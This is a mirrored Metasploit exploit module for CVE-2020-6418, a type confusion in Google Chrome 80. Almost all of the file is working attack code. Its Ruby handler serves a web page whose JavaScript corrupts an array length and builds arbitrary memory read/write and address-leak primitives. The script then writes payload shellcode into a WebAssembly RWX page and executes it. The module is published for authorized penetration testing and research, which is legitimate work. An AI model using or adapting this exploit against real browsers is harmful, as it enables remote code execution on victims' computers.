Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::Remote::HttpServer::BrowserExploit
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
17
'Description' => %q{
18
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
19
corrupts the length of a float array (float_rel), which can then be used for out
20
of bounds read and write on adjacent memory.
21
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
22
which is used for read and writing from absolute memory.
23
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
24
which is then replaced with the payload shellcode.
25
The payload is executed within the sandboxed renderer process, so the browser
26
must be run with the --no-sandbox option for the payload to work correctly.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Clément Lecigne', # discovery
31
'István Kurucsai', # exploit
32
'Vignesh S Rao', # exploit
33
'timwr', # metasploit copypasta
34
],
35
'References' => [
36
['CVE', '2020-6418'],
37
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
38
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
39
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
40
],
41
'Arch' => [ ARCH_X64 ],
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => [ REPEATABLE_SESSION ],
45
'SideEffects' => [ IOC_IN_LOGS ],
46
'Stability' => [CRASH_SAFE]
47
},
48
'Targets' => [
49
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', { 'Platform' => 'win' }],
50
['macOS - Google Chrome 80.0.3987.87 (64 bit)', { 'Platform' => 'osx' }],
51
],
52
'DisclosureDate' => '2020-02-19'
53
)
54
)
55
end
56
57
def on_request_uri(cli, request)
58
print_status("Sending #{request.uri} to #{request['User-Agent']}")
59
escaped_payload = Rex::Text.to_unescape(payload.raw)
60
jscript = %Q^
61
var shellcode = unescape("#{escaped_payload}");
62
63
// HELPER FUNCTIONS
64
let conversion_buffer = new ArrayBuffer(8);
65
let float_view = new Float64Array(conversion_buffer);
66
let int_view = new BigUint64Array(conversion_buffer);
67
BigInt.prototype.hex = function() {
68
return '0x' + this.toString(16);
69
};
70
BigInt.prototype.i2f = function() {
71
int_view[0] = this;
72
return float_view[0];
73
}
74
BigInt.prototype.smi2f = function() {
75
int_view[0] = this << 32n;
76
return float_view[0];
77
}
78
Number.prototype.f2i = function() {
79
float_view[0] = this;
80
return int_view[0];
81
}
82
Number.prototype.f2smi = function() {
83
float_view[0] = this;
84
return int_view[0] >> 32n;
85
}
86
87
Number.prototype.fhw = function() {
88
float_view[0] = this;
89
return int_view[0] >> 32n;
90
}
91
92
Number.prototype.flw = function() {
93
float_view[0] = this;
94
return int_view[0] & BigInt(2**32-1);
95
}
96
97
Number.prototype.i2f = function() {
98
return BigInt(this).i2f();
99
}
100
Number.prototype.smi2f = function() {
101
return BigInt(this).smi2f();
102
}
103
104
function hex(a) {
105
return a.toString(16);
106
}
107
108
//
109
// EXPLOIT
110
//
111
112
// the number of holes here determines the OOB write offset
113
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
114
var float_rel; // float array, initially corruption target
115
var float_carw; // float array, used for reads/writes within the compressed heap
116
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
117
var obj_leaker; // used to implement addrof
118
vuln.pop();
119
vuln.pop();
120
vuln.pop();
121
122
function empty() {}
123
124
function f(nt) {
125
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
126
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
127
for (var i = 0; i < 0x10000; ++i) {};
128
}
129
130
let p = new Proxy(Object, {
131
get: function() {
132
vuln[0] = {};
133
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
134
float_carw = [6.6];
135
uint64_aarw = new BigUint64Array(4);
136
obj_leaker = {
137
a: float_rel,
138
b: float_rel,
139
};
140
141
return Object.prototype;
142
}
143
});
144
145
function main(o) {
146
for (var i = 0; i < 0x10000; ++i) {};
147
return f(o);
148
}
149
150
// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
151
function crel_read4(offset) {
152
var qw_offset = Math.floor(offset / 2);
153
if (offset & 1 == 1) {
154
return float_rel[qw_offset].fhw();
155
} else {
156
return float_rel[qw_offset].flw();
157
}
158
}
159
160
// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
161
function crel_write4(offset, val) {
162
var qw_offset = Math.floor(offset / 2);
163
// we are writing an 8-byte double under the hood
164
// read out the other half and keep its value
165
if (offset & 1 == 1) {
166
temp = float_rel[qw_offset].flw();
167
new_val = (val << 32n | temp).i2f();
168
float_rel[qw_offset] = new_val;
169
} else {
170
temp = float_rel[qw_offset].fhw();
171
new_val = (temp << 32n | val).i2f();
172
float_rel[qw_offset] = new_val;
173
}
174
}
175
176
const float_carw_elements_offset = 0x14;
177
178
function cabs_read4(caddr) {
179
elements_addr = caddr - 8n | 1n;
180
crel_write4(float_carw_elements_offset, elements_addr);
181
print('cabs_read4: ' + hex(float_carw[0].f2i()));
182
res = float_carw[0].flw();
183
// TODO restore elements ptr
184
return res;
185
}
186
187
188
// This function provides arbitrary within read the compressed heap
189
function cabs_read8(caddr) {
190
elements_addr = caddr - 8n | 1n;
191
crel_write4(float_carw_elements_offset, elements_addr);
192
print('cabs_read8: ' + hex(float_carw[0].f2i()));
193
res = float_carw[0].f2i();
194
// TODO restore elements ptr
195
return res;
196
}
197
198
// This function provides arbitrary write within the compressed heap
199
function cabs_write4(caddr, val) {
200
elements_addr = caddr - 8n | 1n;
201
202
temp = cabs_read4(caddr + 4n | 1n);
203
print('cabs_write4 temp: '+ hex(temp));
204
205
new_val = (temp << 32n | val).i2f();
206
207
crel_write4(float_carw_elements_offset, elements_addr);
208
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));
209
210
float_carw[0] = new_val;
211
// TODO restore elements ptr
212
return res;
213
}
214
215
const objleaker_offset = 0x41;
216
function addrof(o) {
217
obj_leaker.b = o;
218
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
219
obj_leaker.b = {};
220
return addr;
221
}
222
223
const uint64_externalptr_offset = 0x1b; // in 8-bytes
224
225
// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
226
function read8(addr) {
227
faddr = addr.i2f();
228
t1 = float_rel[uint64_externalptr_offset];
229
t2 = float_rel[uint64_externalptr_offset + 1];
230
float_rel[uint64_externalptr_offset] = faddr;
231
float_rel[uint64_externalptr_offset + 1] = 0.0;
232
233
val = uint64_aarw[0];
234
235
float_rel[uint64_externalptr_offset] = t1;
236
float_rel[uint64_externalptr_offset + 1] = t2;
237
return val;
238
}
239
240
// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
241
function write8(addr, val) {
242
faddr = addr.i2f();
243
t1 = float_rel[uint64_externalptr_offset];
244
t2 = float_rel[uint64_externalptr_offset + 1];
245
float_rel[uint64_externalptr_offset] = faddr;
246
float_rel[uint64_externalptr_offset + 1] = 0.0;
247
248
uint64_aarw[0] = val;
249
250
float_rel[uint64_externalptr_offset] = t1;
251
float_rel[uint64_externalptr_offset + 1] = t2;
252
return val;
253
}
254
255
// Given an array of bigints, this will write all the elements to the address provided as argument
256
function writeShellcode(addr, sc) {
257
faddr = addr.i2f();
258
t1 = float_rel[uint64_externalptr_offset];
259
t2 = float_rel[uint64_externalptr_offset + 1];
260
float_rel[uint64_externalptr_offset - 1] = 10;
261
float_rel[uint64_externalptr_offset] = faddr;
262
float_rel[uint64_externalptr_offset + 1] = 0.0;
263
264
for (var i = 0; i < sc.length; ++i) {
265
uint64_aarw[i] = sc[i]
266
}
267
268
float_rel[uint64_externalptr_offset] = t1;
269
float_rel[uint64_externalptr_offset + 1] = t2;
270
}
271
272
273
function get_compressed_rw() {
274
275
for (var i = 0; i < 0x10000; ++i) {empty();}
276
277
main(empty);
278
main(empty);
279
280
// Function would be jit compiled now.
281
main(p);
282
283
print(`Corrupted length of float_rel array = ${float_rel.length}`);
284
}
285
286
function get_arw() {
287
get_compressed_rw();
288
print('should be 0x2: ' + hex(crel_read4(0x15)));
289
let previous_elements = crel_read4(0x14);
290
//print(hex(previous_elements));
291
//print(hex(cabs_read4(previous_elements)));
292
//print(hex(cabs_read4(previous_elements + 4n)));
293
cabs_write4(previous_elements, 0x66554433n);
294
//print(hex(cabs_read4(previous_elements)));
295
//print(hex(cabs_read4(previous_elements + 4n)));
296
297
print('addrof(float_rel): ' + hex(addrof(float_rel)));
298
uint64_aarw[0] = 0x4142434445464748n;
299
}
300
301
function rce() {
302
function get_wasm_func() {
303
var importObject = {
304
imports: { imported_func: arg => print(arg) }
305
};
306
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
307
wasm_code = new Uint8Array(bc);
308
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
309
return wasm_mod.exports.exported_func;
310
}
311
312
let wasm_func = get_wasm_func();
313
// traverse the JSFunction object chain to find the RWX WebAssembly code page
314
let wasm_func_addr = addrof(wasm_func);
315
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
316
print('sfi: ' + hex(sfi));
317
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
318
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));
319
320
let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
321
print('instance: ' + hex(instance));
322
323
let wasm_rwx_addr = cabs_read8(instance + 0x68n);
324
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));
325
326
// write the shellcode to the RWX page
327
while(shellcode.length % 4 != 0){
328
shellcode += "\u9090";
329
}
330
331
let sc = [];
332
333
// convert the shellcode to BigInt
334
for (let i = 0; i < shellcode.length; i += 4) {
335
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
336
}
337
338
writeShellcode(wasm_rwx_addr,sc);
339
340
print('success');
341
wasm_func();
342
}
343
344
345
function exp() {
346
get_arw();
347
rce();
348
}
349
350
exp();
351
^
352
353
jscript = add_debug_print_js(jscript)
354
html = %Q^
355
<html>
356
<head>
357
<script>
358
#{jscript}
359
</script>
360
</head>
361
<body>
362
</body>
363
</html>
364
^
365
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
366
end
367
368
end
369
370